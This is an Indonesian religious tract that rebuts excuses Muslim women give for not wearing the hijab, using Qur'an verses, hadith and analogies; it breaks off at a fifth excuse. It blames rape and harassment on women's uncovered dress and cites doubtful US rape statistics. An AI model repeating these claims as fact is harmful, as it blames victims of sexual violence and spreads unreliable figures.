          Hijab wanita akan meyembunyikan kecantikannya, sehingga para pemuda tetap berada dalam gejolak nafsu seksual yang tertahan, dan hampir meledak, bahkan terkadang tak tertahankan sehingga ia lampiaskan dalam bentuk tindak perkosaan atau pelecehan seksual lainnya.
          Sebagai pemecahan masalah tersebut, satu-satunya cara adalah membebaskan wanita dari mengenakan hijab, agar para pemuda mendapatkan sedikit nafas bagi pelampiasan nafsu mereka yang senantiasa bergejolak di dalam. Dengan demikian, hasrat mereka sedikit bisa terpenuhi. Suasana itu lalu akan mengurangi bahaya ledakan gejolak nafsu yang sebelumnya tertahan dan tertekan.

1.     BANTAHAN:
Sepintas , syubhat di atas secara lahiriah nampak logis dan argumentatif. Kelihatannya, sejak awal, pihak yang melemparkan jalan pemecahan tersebut ingin mencari kemaslahatan bagi masyarakat dan menghindarkan mereka dari kehancuran. Padahal kenyataannya, mereka justru menyebabkan bahaya yang jauh lebih besar bagi masyarakat, yaitu menyebabkan tercerai berainya masyarakat, kehancurannya, bahkan berputar sampai seratus delapan puluh derajat pada kebinasaan.
Seandainya jalan pemecahan yang mereka ajukan itu benar, tentu amerika dan negara-negara eropa serta negara-negara yang berkiblat kepada mereka  akan menjadi negara yang paling kecil kasus perkosaan dan kekerasannya terhadap kaum wanita di dunia, juga dalam kasus –kasus kejahatan yang lain.
Amerika dan negara-negara Eropa amat memperhatikan masalah ini, dengan alasan kebebasan induvidual. Di sana, dengan mudah anda akan mendapatkan berbagai majalah porno dijual di sembarang tempat. Acara-acara televisi, khususnya setelah pukul dua belas malam, menayangkan berbagai  adegan tak senonoh, yang membangkitkan hasrat seksual. Bila musim panas tiba, banyak wanita di sana yang membuka pakaiannya dan hanya mengenakan pakaian bikini. Dengan keadaan seperti itu, mereka berjemur di pinggir pantai atau kota-kota pesisir lainnya. Bahkan di sebagian besar pantai dan pesisir, mereka boleh bertelanjang dada dan hanya memakai penutup ala kadarnya. Terminal-terminal video rental bertebaran diseluruh pelosok Amerika dengan semboyan “  Adults only” ( khusus untuk orang dewasa ) . di terminal-terminal ini, anak anak cepat tumbuh matang dalam hal seksual sebelum waktunya. Siapa saja dengan mudah bisa menyewa kaset-kaset video lalu memutarnya di rumah atau langsung menontonnya di tempat penyewaan.
Rumah-rumah bordil bertaburan dimana-mana. Bahkan di sebagian negara memajang para wanita tuna susila (pelacur) di etalase sehingga bisa dilihat oleh peminatnya dari luar.
Apakah kesudahan dari gaya hidup yang serba boleh(permisif) itu ? apakah kasus perkosaan semakin bekurang ? Apakah kepuasan mereka terpenuhi, sebagaimana yang  ramai mereka bicarakan ? apakah para wanita terpelihara dari bahaya besar ini?.

2.     DATA STATISTIK AMIRIKA
Dalam sebuah buku berjudul  “ crime in U.S.A” terbitan pemerintah federal di Amerika – yang berarti data statistiknya bisa dipertanggungjawabkan karena ia dikeluarkan oleh pihak pemerintah, tidak oleh paguyupan sensus- di halaman 6 dari buku ini di tulis : “setiap kasus perkosaan yang ada selalu di lakukan dengan cara kekerasan dan itu terjadi di Amerika setiap enam menit sekali”. Data ini adalah yang terjadi pada tahun 1988, yang di maksud dengan kekerasan di sini adalah dengan menggunakan senjata tajam.
Dalam buku yang sama juga disebutkan:
1.Pada tahun 1978 di Amerika terjadi sebanyak 147.389 perkosaan.
2.Pada tahun  1979 di Amerika terjadi sebanyak 168.134 perkosaan.
3.Pada tahun 1981 di Amerika terjadi sebanyak 189.045 perkosaan.
4.Pada tahun 1983 di Amerika terjadi sebanyak 311.691 perkosaan.
5.Pada tahun 1987 di Amerika terjadi sebanyak 221.764 perkosaan.

3.     TAFSIR EMPIRIS AYAT AL-QUR’AN.
Data stastik ini, juga data-data sejenis lainnya - yang dinukil dari sumber-sumber berita yang dapat dipertanggungjawabkan- menunjukkan semakin melonjaknya tingkat pelecehan seksual di negara-negara tersebut. Tidak lain, kenyataan ini merupakan penafsiran empiris (secara nyata dan dalam praktek kehidupan sehari-hari) dari firman Allah :

]يَا أَيُّهَا النَّبِيُّ قُل لِّأَزْوَاجِكَ وَبَنَاتِكَ وَنِسَاء الْمُؤْمِنِينَ يُدْنِينَ عَلَيْهِنَّ مِن جَلَابِيبِهِنَّ ذَلِكَ أَدْنَى أَن يُعْرَفْنَ فَلَا يُؤْذَيْنَ [ (59) سورة الأحزاب  
“ Hai Nabi katakanlah kepada istri-istrimu, anak-anak perempuanmu dan istri-istri orang mukmin; hendaklah mereka mengulurkan jilbabnya ke seluruh tubuh mereka. Yang demikian itu supaya mereka lebih mudah untuk dikenal, karena itu mereka tidak diganggu….( Al Ahzab: 59).

Sebab turunnya ayat – sebagaimana yang disebutkan oleh Imam Qurthubi dalam tafsirnya- karena para wanita biasa melakukan buang besar di padang terbuka sebelum dikenalnya kakus (tempat buang air khusus dan tertutup).  Di antara mereka itu dapat dibedakan antara budak dengan wanita merdeka. Perbedaan itu bisa dikenali yakni kalau wanita-wanita merdeka mereka menggunakan hijab. Dengan begitu para pemuda enggan mengganggunya.
Sebelum turunnya ayat ini, wanita-wanita muslimah juga melakukan buang hajad di padang terbuka terebut. Sebagian orang-orang durjana mengira kalau dia adalah budak, ketika diganggu, wanita muslimah itu berteriak sehingga laki-laki itu pun kabur. Kemudian mereka mengadukan peristiwa tersebut kapada Nabi r sehingga turunlah ayat ini [[1]].
Hal ini menegaskan , wanita yang memamerkan auratnya, dan mempertontonkan kecantikannya dan kemolekan tubuhnya kepada setiap orang yang lalu lalang, lebih berpotensi untuk diganggu. Sebab dengan begitu, ia telah membangkitkan nafsu seksual yang terpendam.
Adapun wanita yang berhijab maka dia senantiasa menyembunyikan kecantikan dan perhiasannya. Tidak ada yang kelihatan  daripadanya selain telapak tangan dan wajah menurut suatu pendapat. Dan pendapat lain mengatakan, tidak boleh terlihat daripada wanita tersebut selain matanya saja.
Syahwat apa yang bisa dibangkitkan oleh wanita berhijab itu?instink seksual apa yang bisa di gerakkan oleh seorang wanita yang menutup rapat seluruh tubuhnya itu ?
Allah mensyariatkan hijab agar menjadi benteng bagi wanita dari gangguan orang lain. Sebab Allah Ta’ala mengetahui bahwa pamer aurat akan mengakibatkan semakin bertambahnya kasus pelecehan seksual, sebab perbuatan tersebut membangkitkan nafsu seksual yang sebelumnya tenang.
Kepada mereka yang masih mempertahankan dan meyakini kebenaran syubhat tersebut, kita bisa menyanggah kesalahan mereka melalui empat hakikat;
Pertama : berbagai data statistik telah mendustakan cara pemecahan yang mereka tawarkan.
Kedua: Hasrat seksual terdapat pada masing-masing pria dan wanita. Ini merupakan rahasia Ilahi yang dititipkan Allah kepada keduanya untuk hikmah yang amat banyak. Di antaranya adalah demi kelangsungan keturunan, jika boleh berandai-andai , andaikata hasrat seksual itu tidak ada , apakah keturunan manusia masih bisa dipertahankan ? tidak seorangpun memungkiri keberadaan hasrat dan naluri ini. Tetapi dengan tidak mempertimbangkan adanya naluri seksual tersebut tiba-tiba sebagian laki-laki di minta berlaku wajar di tengah pemandangan yang serba terbuka dan telanjang. Amat ironi memang.
Ketiga : bahwa yang membangkitkan nafsu seksual laki-laki  adalah tatkal ia melihat kecantikan wanita, baik wajah atau anggota tubuh lain yang mengundang syahwat. Seseorang tidak mungkin melawan fitrah yang diciptakan Allah (kecuali mereka yang dirahmati Allah) sehingga bisa memadamkan gejolak syahwatnya tatkala melihat sesuatu yang membangkitkannya.
Keempat : orang yang mengaku bisa mendiaqnosa nafsu seksual yang tertekan dengan mengumbar pandangan mata kepada wanita cantik dan telanjang  sehingga nafsunya akan terpuaskan (dan dengan demikian tidak menjurus kepada perbuatan yang lebih jauh, misalnya pemerkosaan atau pelecehan seksual lainnya ) maka yang ada hanya ada dua kemungkinan :
Pertama : orang itu adalah  laki-laki  yang tidak bisa terbangkitkan nafsu seksualnya meski oleh godaan syahwat yang bagaimanapun ( bentuk dan jenisnya ) ia termasuk kelompok orang yang dikebiri kalaminnya sehingga dengan cara apapun mereka tidak akan merasakan keberadaan nafsunya.
Kedua : laki-laki yang lemah syahwat atau impoten. Aurat yang dipamerkan itu tak akan mempengaruhi dirinya.
Apakah orang yang membenarkan syubhat tersebut (sehingga dijadikannya jalan pemecahan ) hendak memasukkan kaum laki-laki dari umat kita kedalam salah satu dari dua golongan manusia lemah di atas ( Na;udzubillah min dzalik).

SYUBHAT KEDUA : BELUM MANTAP
Hal  ini lebih tepat digolongkan kepada syahwat dan menuruti hawa nafsu dari pada syubhat. Jika seorang ukhti yang belum mentaati perintah berhijab ditanya, mengapa ia tidak mengenakan hijab ? di antaranya ada yang menjawab “ Demi Allah, saya belum mantap dengan berhijab. Jika saya telah merasa mantap dengannya saya akan berhijab,Insya Allah”.
Ukhti yang berdalih dengan syubhat ini hendaknya bisa membedakan antara dua hal. Yakni antara perintah Tuhan dengan perintah manusia.
Jika perintah itu datangnya dari manusia, maka manusia bisa salah bisa benar. Imam Malik berkata: “ dan setiap orang bisa diterima ucapannya dan juga bisa ditolak, kecuali ( perkataan) orang yang ada di dalam kuburan ini”. Yang dimaksudkan adalah Rasulullah Shallallahu alaihi wasallam.
Salagi masih dalam bingkai perkataan manusia, maka seseorang tidak bisa dipaksa untuk menerima. Karenanya, dalam hal ini, setiap orang bisa berucap “ belum mantap”  dan ia tidak dihukum karenanya.
Adapun jika perintah itu merupakan salah satu dari perintah-perintah Allah, dengan kata lain Allah yang memerintahkan di dalam kitabNya, atau memerintahkan hal tersebut melalui NabiNya agar disampaikan kepada umatnya, maka tidak ada tempat bagi manusia untuk mengatakan “ saya belum mantap”.
Bila ia masih mengatakan hal itu dengan penuh keyakinan padahal ia sendiri tahu bahwa perintah tersebut ada di dalam kitab Allah Ta’ala  maka hal tersebut berpotensi untuk menyeretnya kepada bahaya yang lebih sangat besar, yakni keluar dari agama Allah, sementara dia tidak menyadarinya. Sebab dengan begitu berarti ia tidak percaya dan meragukan kebenaran perintah tersebut, maka itu adalah ungkapan yang sangat berbahaya.
Seandainya ia berkata : “ Aku wanita kotor” aku tak kuat melawan nafsuku” “ jiwaku rapuh” Atau hasratku untuk itu sangat lemah” tentu ungkapan-ungkapan ini  dan yang sejenisnya tidak bisa disejajarkan dengan ucapan : “ Aku belum mantap” sebab ungkapan-ungkapan tersebut  merupakan pengakuan  atas kelemahan, kesalahan dan kemaksiatan dirinya, ia tidak menghukumi dengan salah  atau benar terhadap perintah –perintah Allah secara semaunya. juga tidak termasuk yang mengambil perintah Allah dan mencampakkan yang lain.
Allah Y berfirman :

]وَمَا كَانَ لِمُؤْمِنٍ وَلَا مُؤْمِنَةٍ إِذَا قَضَى اللَّهُ وَرَسُولُهُ أَمْرًا أَن يَكُونَ لَهُمُ الْخِيَرَةُ مِنْ أَمْرِهِمْ وَمَن يَعْصِ اللَّهَ وَرَسُولَهُ فَقَدْ ضَلَّ ضَلَالًا مُّبِينًا[ (36) سورة الأحزاب
“ Tidaklah patut bagi laki-laki  yang mukmin (pula) bagi perempuan yang mukminah, apabila Allah dan RasulNya telah menetapkan sesuatu ketetapan, akan ada bagi mereka pilihan ( yang lain ) tentang urusan mereka. Dan barang siapa mendurhakai Allah  dan RasulNya maka sungguhlah dia talah sesat, kesesatan yang nyata” (Al Ahzab : 36).

1.     Sikap yang dituntut.
Ketika seorang hamba mengaku beriman kepada Allah , percaya Allah lebih bijaksana  dan lebih mengetahui dalam penetapan hukum dari padanya-sementara dia sangat miskin dan sangat lemah – maka jika telah datang perintah Allah tidak ada lagi pilihan baginya kecuali mentaati perintah tersebut. Ketika mendengar perintah Allah, sebagai seorang mukmin atau mukminah, mereka wajib mengatakan sebagaimana yang dikatakan  oleh orang-orang yang beriman.

] سَمِعْنَا وَأَطَعْنَا غُفْرَانَكَ رَبَّنَا وَإِلَيْكَ الْمَصِيرُ [ (285) سورة البقرة
“Kami dengar dan kami taat(mereka berdo’a) Ampunilah kami ya Robb kami dan kepada Engkaulah kami kembali” ( Al Baqarah : 285)
Ketika Allah memerintahkan kita dengan suatu perintah, Dia Maha Mengetahui bahwa perintah itu  untuk kebaikan kita, dan salah satu sebab bagi tercapainya kebahagiaan kita. Demikian pula halnya dengan ketika memerintah wanita berhijab, Dia Maha Mengetahui  bahwa ia adalah salah satu sebab bagi tercapainya kebahagiaan, kemuliaan dan keagungan wanita.
Allah Ta’ala Maha Mengetahui IlmuNya meliputi segala sesuatu, mengetahui sejak sebelum manusia  diciptakan, juga mengetahui apa yang akan terjadi di masa mendatang dengan tanpa batas, mengetahui apa yang tidak akan terjadi  dari berbagai peristiwa, juga Dia mengetahui  andaikata peristiwa tersebut terjadi apa yang terjadi selanjutnya.
Dengan kepercayaan seperti ini, yang merupakan keyakinan kita umat Islam, apakah patut dan masuk akal kita menolak  perintah Allah yang Maha Luas IlmuNya , selanjutnya kita menerima perkataan manusia yang memiliki banyak kekurangan, dan ilmunya sangat terbatas.
2.     Contoh dari kenyataan sehari-hari.
Sebagai contoh , dapat kita kemukakan dari kenyataan hidup sehari-hari. Bila kita membeli unit komputer sementara orang yang membuatnya  ada di dekat kita, dia tahu betul bagaimana mengoperasikannya, memahami dari A sampai Z seluk beluk alat canggih tersebut, maka logiskah jika kita memanggil tukang cuci mobil untuk mengajari kita cara mengoperasikan komputer? Tentu sangat tidak logis. Akal kita akan mengatakan, bahwa kita mesti memanggil ahli komputer untuk mengajari bagaimana cara penggunaan alat tersebut, berikut cara memperbaikinya  jika terjadi kerusakan.
Kita menyakini, yang menciptakan manusia  dan membentuknya adalah Tuhan manusia, yaitu Allah. Karena itu sangat wajar, jika Allah yang sangat lebih  mengetahui tentang apa yang membahayakan dan memberi manfaat manusia. Dan jelaslah, bertahkim, patuh, dan menyerah kepada selain Allah  adalah cermin ketidakwarasan, kebodohan, dan kedunguan. Kandungan ini disebabkan karena kita patuh kepada seseorang yang tidak mengetahui. Barang siapa yang mengambil nasihat orang bodoh berarti dia menggelincirkan dirinya dalam kebinasaan.
Ironinya, inilah yang terjadi pada kita kaum muslimin, betapa banyak kaum muslimin yang menuntut jawaban dari  orang yang tidak mengetahuinya. Sebagaimana betapa banyak dari kalangan kita yang tidak memahami bahwa yang dimaksud kata  Islam” adalah menyerah, patuh dan tunduk secara total kepada perintah-perintah Allah dan larangan-laranganNya.

3. Ukhti jangan terjerumus pada pertentangan.
 Tatkala engkau menasehati sebagian ukhti yang belum berhijab, sebagian mereka ada yang menjawab: “ saya juga seorang muslimah, selalu menjaga shalat lima waktu  dan sebagian shalat sunnah, saya puasa Ramadhan dan telah melakukan haji, berkali-kali pula saya umrah, aktif sebagai donatur pada beberapa yayasan sosial, tetapi saya belum mantap dengan berhijab”.
4.pertanyaan buat Ukhti:
“Kalau memang anda sudah dan selalu melakukan amalan-amalan terpuji, yang berpangkal dari iman, kepatuhan pada perintah Allah serta takut siksaNya jika meninggalkan kewajiban-kewajiban itu, mengapa anda beriman kepada sebagian  dan tidak beriman kepada sebagian yang lain, padahal sumber perintah-perintah itu adalah satu ?.
sebagaimana shalat yang selalu anda jaga adalah suatu kewajiban, demikian juga halnya dengan hijab. Hijab itu wajib, dan kewajiban itu tidak diragukan adanya dalam Al Kitab dan Al Sunnah. Atau apakah , anda tidak pernah mendengar cercaan Allah terhadap Bani Israil, karena mereka melakukan sebagian perintah dan meninggalkan sebagian yang lain?
Secara tegas, dalam hal ini Allah berfirman :

] أَفَتُؤْمِنُونَ بِبَعْضِ الْكِتَابِ وَتَكْفُرُونَ بِبَعْضٍ فَمَا جَزَاء مَن يَفْعَلُ ذَلِكَ مِنكُمْ إِلاَّ خِزْيٌ فِي الْحَيَاةِ الدُّنْيَا وَيَوْمَ الْقِيَامَةِ يُرَدُّونَ إِلَى أَشَدِّ الْعَذَابِ وَمَا اللّهُ بِغَافِلٍ عَمَّا تَعْمَلُونَ[ (85) سورة البقرة

“Apakah kamu beriman kepada sebagian Al Kitab (Taurat) dan ingkar kepada sebagian yang lain? Tidakkah balasan bagi orang-orang yang berbuat demikian daripadamu, malainkan kenistaan dalam kehidupan dunia dan pada hari kiamat mereka dikembalikan kepada siksa yang sangat pedih, Allah tidak lengah dari apa yang kamu perbuat”( Al Baqarah : 85).
Selanjutnya, renungkan hadits shahih berikut ini :

" إن أهون أهل النار عذابا يوم القيامة رجل توضع على أخمص قدميه جمرتان يغلي منهما دماغه كما يغلي المرجل بالقمقم " رواه البخاري ( 11/376) في الرقائق.

“ sesungguhnya penghuni neraka yang paling ringan siksanya  pada hari kiamat adalah orang yang diletakkan di tengah kedua telapak kakinya dua bara api, dari dua bara api ini otaknya mendidih, sebagaimana periuk yang mendidih dalam bejana besar yang dipanggang dalam kobaran api.
Jika seperti ini adzab yang paling ringan pada hari kiamat, lalu bagaimana adzab bagi orang  yang diancam oleh Allah dengan adzab yang amat pedih, sebagaimana disebutkan dalam ayat ini. Yakni bagi orang yang beriman kepada sebagian ayat dan meninggalkan sebagian yang lain?.

6.Wahai Ukhti ….:
          apakah hanya demi penampilan, kabanggaan dan saling unggul-mengungguli di dunia, lalu anda rela menjual akherat dan siap menerima adzab yang pedih?
Sungguh kami tidak berharap untuk ukhti, melainkan kebaikan di dunia dan akherat. Kami minta agar ukhti, mau menggunakan akal sehat dan menentukan pilihan ini.




C. SYUBHAT KETIGA : IMAN ITU LETAKNYA DI HATI
Jika seorang di antara mereka ditanya, mengapa dia tidak berhijab ? Maka ukhti yang terhormat ini  akan menjawab : “ Ah iman itu letaknya di hati”.
Ini adalah jawaban yang paling sering dilontarkan oleh para wanita muslimah yang belum berhijab. Karena itu di bawah ini akan kita bahas syubhat tersebut.
1.     Sumber syubhat.
Mereka berusaha menafsirkan sebagian hadist, tetapi tidak sesuai dengan yang dimaksudkan , seperti dalam sabda Nabi Shallallahu ‘alaihi wasallam :

" إن الله لا ينظر إلى صوركم وأموالكم ولكن ينظر إلى قلوبكم وأعمالكم " رواه مسلم     ( 2562)

“ Sesungguhnya Allah tidak melihat pada bentuk-bentuk (lahiriah ) dan harta kekayaanmu, tetapi Dia melihat pada hati dan amalmu sekalian”( HR. Muslim No : 2564 dari Abu Hurairah)
pengarang kitab Nuzhatul Muttaqin berkata : “Hadits ini menunjukkan bahwa pahala amal tergantung pada keikhlasan hati, kelurusan niat, perhatian terhadap situasi hati pelempangan tujuan dan kebersihan hati dari segala sifat tercela yang dimurkai Allah [[2]].

2.     Devinisi Iman :
Iman tidak cukup hanya dalam hati. Iman dalam hati semata tidak cukup untuk menyelamatkan diri dari neraka dan mendapatkan surga.
Devinisi iman menurut jumhur ulama Ahlus Sunnah Wal Jama’ah adalah : “ Keyakinan dalam hati, pengucapan dengan lisan, dan pelaksanaan dengan anggota badan”. Devinisi ini  terdapat dalam setiap buku aqidah(tauhid) kecuali buku-buku yang menyimpang dan tidak berdasarkan manhaj (methode) Ahlus Sunnah Wal Jamaah.
3.     Kesempurnaan Iman
Dalam Tashawwur (gambaran) kita, orang yang mengatakan iman dengan lidahnya, tetapi tidak disertai dengan keyakinan  hatinya, itu adalah keadaan orang-orang munafik. Demikian pula orang yang beramal hanya sebatas aktivitas tubuh anggota badan, tetapi tidak disertai keyakinan hati , itu merupakan keadaan orang-orang munafik.
Pada masa Nabi Shallallahu ‘alaihi wasallam, mereka senantiasa shalat bersama beliau, berperang, mengeluarkan nafkah,pulang pergi bersama kaum muslimin, tetapi hati mereka tidak pernah beriman kepada agama Allah. Kepada mereka, Allah menghukumi sebagai orang-orang munafik, dan balasan untuk mereka adalah berada di kerak neraka ( dasar neraka).
Demikian pula orang yang beriman hanya dengan hatinya tapi tidak disertai amalan anggota badan. Ini adalah keadaan Iblis. Dia percaya pada kekuasaan Allah ,Dzat yang menghidupkan dan mematikan, dia juga percaya  terhadap adanya hari kiamat, tetapi dia tidak beramal dengan anggota tubuhnya. Allah berfirman :

] أَبَى وَاسْتَكْبَرَ وَكَانَ مِنَ الْكَافِرِينَ [ (34) سورة البقرة
“ Ia ( Iblis) enggan dan takabbur dan adalah dia termasuk golongan orang-orang kafir” ( Al Baqarah : 34).

Dalam AL Qur’an : setiap kali di sebutkan kata iman, selalu disertai dengan amal, seperti :
“ Orang-orang yang beriman dan beramal shaleh …..”
Amal selalu beriringan dan merupakan konsekuensi iman, keduanya tidak dapat dipisah-pisahkan.
Kepada ukhti yang belum berhijab dengan alasan : Iman itu letaknya dalam hati” kami hendak bertanya : “ Andaikata seorang kepala sekolah  memintanya membuat laporan, atau mengawasi murid-murid, atau memberi pelajaran ekstra kurikuler, atau menjadi petugas piket untuk menjadi guru yang berhalangan hadir atau pekerjaan lain, logislahkah jika ia  menjawab : “ Dalam hati, saya percaya, dan belum mantap terhadap apa yang diminta oleh direktur kepadaku, tetapi aku tidak mau melaksanakan yang dikehendakinya dariku” Apakah jawaban ini bisa diterima? Lalu apa akibat yang bakal menimpanya?
Ini sekedar contoh dalam kehidupan mnusia, lalu bagaimana jika urusan itu berhubungan dengan Allah, Tuhan manusia yang memiliki sifat yang Maha Tinggi?.

D.SYUBHAT KEEMPAT : ALLAH BELUM MEMBERIKU HIDAYAH.
Pada akhawat yang tidak berhijab banyak yang berdalih : Allah belum memberiku hidayah. Sebenarnya aku juga ingin berhijab, tetapi hendak bagaimana jika saat ini Allah belum memberiku hidayah ? do’akanlah aku agar segera mendapat hidayah !”
Ukhti yang berdalih seperti ini telah terperosok dalam kekeliruan yang nyata. Kami ingin bertanya : “ bagaimana engkau mengetahui bahwa Allah belum memberimu hidayah”?
Jika jawabannya , “ Aku tahu”, maka ada satu dari dua kemungkinan :
Pertama:  dia mengetahui ilmu ghaib yang ada di dalam kitab yang tersembunyi ( lauhul mahfudz ). Dia pasti pula tahu bahwa dirinya termasuk orang-orang yang celaka dan bakal masuk neraka.
Kedua : ada makhluk lain yang mengabarkan padanya tentang nasib dirinya, bahwa dia tidak termasuk wanita yang mendapatkan hidayah. Bisa jadi yang memberi tahu itu malaikat ataupun manusia.
Jika kedua jawaban itu tidak mungkin adanya, bagaimana engkau mengetahui bahwa Allah belum memberimu hidayah ? ini satu masalah.
Masalah lain adalah, Allah telah menerangkan dalam KitabNya, bahwa hidayah itu ada dua macam. Masing-masing adalah hidayah dilalah dan hidayah taufiq.

1.     HIDAYAH DILALAH
Ini adalah bimbingan atau petunjuk pada kebenaran. dalam hidayah ini, terdapat campur tangan dan usaha manusia, di samping hidayah Allah dan bimbingan RasulNya. Allah telah menunjukkan jalan kebenaran kepada manusia yang mukallaf, juga dia telah menunjukkan jalan kebatilan yang menyimpang dari petunjuk para rasul dan KitabNya. Para rasulpun talah menerangkan jalan ini kepada kaumnya. Begitu pula para da’i. Mreka semua menerangkan jalan ini kepada manusia . jadi semua ikut ambil bagian dalam hidayah ini.

2.     HIDAYAH TAUFIQ
Hidayah ini hanya milik Allah semata, tidak ada sekutu baginya(dalam pemberi hidayah taufiq ini ). Ia berupa peneguhan kebenaran dalam hati, penjagaan dari penyimpangan pertolongan agar tetap meniti dan teguh di jalan kebenaran, pendorong pada kecintaan iman. Pendorong pada kebencian terhadap kekufuran, kefasikan dan kemaksiatan.
Hidayah taufiq diberikan kepada orang yang memenuhi panggilan Allah dan mengikuti petunjukNya.
Jenis hidayah ini datang sesudah hidayah dilalah  . sejak awal, dengan tidak pilih kasih, Allah memperlihatkan kebenaran kepada semua manusia. Allah berfirman :

]وَأَمَّا ثَمُودُ فَهَدَيْنَاهُمْ فَاسْتَحَبُّوا الْعَمَى عَلَى الْهُدَى [ (17) سورة فصلت

          “ Dan adapun kaum Tsamud maka mereka telah kami beri petunjuk tetapi mereka lebih menyukai buta ( kesesatan ) daripada petunjuk itu …” ( Fushishilat : 17).
            Dan untuk itu, Allah menciptakan potensi dalam diri setiap orang mukallaf untuk memilih antara jalan kebenaran dan jalan kebatilan. Jika dia memilih jalan kebenaran menurut kemauannya sendiri maka hidayah taufiq akan datang kepadanya. Allah berfirman :

]وَالَّذِينَ اهْتَدَوْا زَادَهُمْ هُدًى وَآتَاهُمْ تَقْواهُمْ[  (17) سورة محمد
          “Dan orang-orang yang melakukan petunjuk, Allah ( akan ) menambah petunjuk kepada mereka dan memberikan kepada mereka( balasan) ketakwaannya” ( Muhammada : 17).
           
            Jika dia memilih kebatilan menurut kemauannya sendiri, maka Allah akan menambahkan kesesatan padanya dan Dia mengharamkannya mendapat hidayah taufiq, Allah berfirman :

] قُلْ مَن كَانَ فِي الضَّلَالَةِ فَلْيَمْدُدْ لَهُ الرَّحْمَنُ مَدًّا [ (75) سورة مريم
            “ Katakanlah: barang siapa yang berada dalam kesesatan, maka biarlah Dzat yang Maha Pemurah menambahi baginya[kesesatan] …” ( Maryam : 75).

] فلما زاغوا أزاغ الله قلوبهم [
“…Maka tatkala mereka berpaling ( dari kebenaran ) Allah memalingkan hati mereka” ( Ash Shaf : 5).

3.     PERUMPAMAAN HIDAYAH TAUFIQ:
Syaikh Asy Sya’rawi memberikan perumpamaan yang amat mengena tentang hidayah taufiq ini , dan itu merupakan sunnatullah . beliau mengupamakan dengan seseorang yang menanyakan suatu alamat. Orang itu pergi ke polisi lalu lintas untuk menanyakan alamat tersebut. Lalu polisi menyarankan : “ anda bisa berjalan lurus sepanjang jalan ini, sampai di perempatan anda belok ke kanan, selanjutnya ada gang, anda belok ke kiri, di situ anda mendapatkan jalan raya. Di seberang jalan raya tersebut akan terlihat gedung dengan pamplet besar, itulah alamat yang anda cari”.
Orang tersebut dihadapkan pada dua pilihan, percaya kepada petunjuk polisi atau mendustakannya. Jika percaya pada polisi, ia akan segera beranjak mengikuti petunjuk yang diterimanya. Jika berjalan terus sesuai dengan petunjuk polisi, ia akan semakin dekat dengan tempat dan alamat yang ia inginkan.
Jika dia tidak memepercayai saran polisi itu bahkan malah  mengumpatnya sebagai pendusta, sehingga ia berjalan menuju  arah yang berlawanan, maka semakin jauh dia berjalan, semakin jauh pula kesesatannya. Itulah perumpamaan petunjuk dan kesesatan [3].
Ini merupakan perumpamaan yang tepat untuk mendekatkan pengertian sunnatullah ini. Siapa yang memilih kebenaran, maka Allah akan menolong dan meneguhkannya, dan siapa yang memilih kebatilan, Allah akan menyesatkannya dan membiarkannya bersama setan yang menyertainya.

4.     CARILAH SEBAB-SEBAB HIDAYAH, NISCAYA ANDA MENDAPATKANNYA.
Itulah sunnatullah yang berlaku pada semua makhlukNya. Allah berfirman :

] فَلَن تَجِدَ لِسُنَّتِ اللَّهِ تَبْدِيلًا وَلَن تَجِدَ لِسُنَّتِ اللَّهِ تَحْوِيلًا [ (43) سورة فاطرا
“ … Maka sekali-kali kamu tidak akan mendapat penggantian bagi sunnah Allah, dan sekali-kali tidak (pula) akan menemui penyimpangan bagi sunnah Allah” ( Al Fathir : 43).

Adapun sunnatullah dalam perubahan nasib, hanya akan terjadi jika manusia memulai dengan mengubah terlebih dahulu dirinya sendiri, lalu mengupayakan sebab-sebab perubahan yang dimaksudnya. Allah berfirman :

] إن الله لا يغير ما بقوم حتى يغيروا  ما بأنفسهم [

“ Sesungguhna Allah tidak mengubah keadaan suatu kaum sehingga mereka mengubah keadaan yang ada pada diri mereka sendiri” ( Ar Ra’ad: 11).
Maka orang yang menginginkan hidayah, serta menghendaki agar orang lain mendo’akan dirinya agar mendapatkannya, ia harus berusaha keras dengan sebab-sebab yang bisa menghantarkannya mendapat hidayah tersebut.
Dalam hal ini, terdapat teladan yang baik pada diri Maryam, suatu hari, dia amat membutuhkan makanan. Padahal ketika itu, ia dalam kondisi yang sangat lemah seperti yang biasa terjadi pada wanita yang hendak melahirkan. Lalu Allah memerintahkan padanya untuk melakukan suatu usaha yang orang laki-laki paling kuat sekalipun tidak akan mampu melakukannya. Maryam di minta untuk menggoyang-nggoyangkan pangkal pohon korma, meskipun pangkal pohon korma itu  sangat kokoh dan sulit untuk digoyang-goyangkan. Allah berfirman :

] وَهُزِّي إِلَيْكِ بِجِذْعِ النَّخْلَةِ [

“ Dan goyanglah pangkal pohon korma itu……( Maryam : 25).

Maryam tidak mungkin mampu menggoyang pangkal pohon korma, sementara dia dalam kondisi yang amat lemah. Itu hanya dimaksudkan sebagai usaha mencari  sebab dengan cara meletakkan tangannya di pohon korma. Dengan begitu terpenuhilah hukum kuasalitas dan sunnatullah dalam hal perubahan . maka hasilnya adalah :

] تُسَاقِطْ عَلَيْكِ رُطَبًا جَنِيًّا [ (25) سورة مريم

“ Pohon itu akan menggugurkan buah korma yang masak kepadamu.” ( Maryam : 25).

Inilah sunnatullah dalam perubahan. Tidak mungkin orang mukmin terus menerus di dalam masjid, bahkan meskipun di Masjidil Haram dengan hanya duduk dan beribadah kepada Allah, seraya mengharap rizki dari Allah. Tentu Allah tidak akan mengabulkannya tanpa dia sendiri mencari sebab-sebab rezki tersebut. langit tak mungkin sekonyong-konyong menurunkan hujan emas dan perak.
Karena itu , wahai ukhti, berusahalah mendapatkan sebab-sebab hidayah, niscaya anda mendapatkan hidayah tersebut dengan izin Allah. Di antara usaha itu adalah berdo’a agar mendapatkan hidayah, memilih teman yang shalihah, selalu membaca, mempelajari dan merenungkan kitab Allah, mengikuti majlis-majlis dzikir dan ceramah agama, membaca buku-buku tentang keimanan dan sebagainya.
Tetapi, sebelum melakukan semua itu, hendaknya terlebih dahulu engkau meninggalkan hal-hal yang bisa menjauhkanmu dari jalan hidayah. Seperti teman yang tidak baik, membaca majalah-majalah yang tidak mendidik, menyaksikan tayangan-tayangan televisi yang membangkitkan perbuatan haram, bepergian tanpa disertai mahram, menjalin hubungan dengan para pemuda ( pacaran ) , dan hal-hal lain yang bertentangan dengan jalan hidayah.

E. SYUBHAT KELIMA : TAKUT TIDAK LAKU NIKAH
Sebagian akhawat yang tidak berhijab berdalih dengan takut tidak laku nikah.
